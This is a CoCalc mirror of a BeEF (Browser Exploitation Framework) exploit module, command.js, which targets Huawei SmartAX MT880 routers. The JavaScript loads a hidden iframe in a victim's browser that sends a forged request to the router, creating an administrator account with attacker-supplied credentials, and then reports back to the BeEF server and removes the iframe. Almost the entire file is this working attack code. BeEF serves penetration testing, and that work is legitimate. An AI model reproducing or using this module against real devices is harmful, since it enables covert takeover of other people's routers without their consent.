Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/huawei_smartax_mt880/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var gateway = '<%= @base %>';
9
var username = '<%= @username %>';
10
var passwd = '<%= @password %>';
11
var timeout = 15;
12
13
var huawei_smartax_mt880_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
14
huawei_smartax_mt880_iframe_<%= @command_id %>.setAttribute('src', gateway+"Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70");
15
16
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
17
18
cleanup = function() {
19
document.body.removeChild(huawei_smartax_mt880_iframe_<%= @command_id %>);
20
}
21
setTimeout("cleanup()", timeout*1000);
22
23
});
24
25
26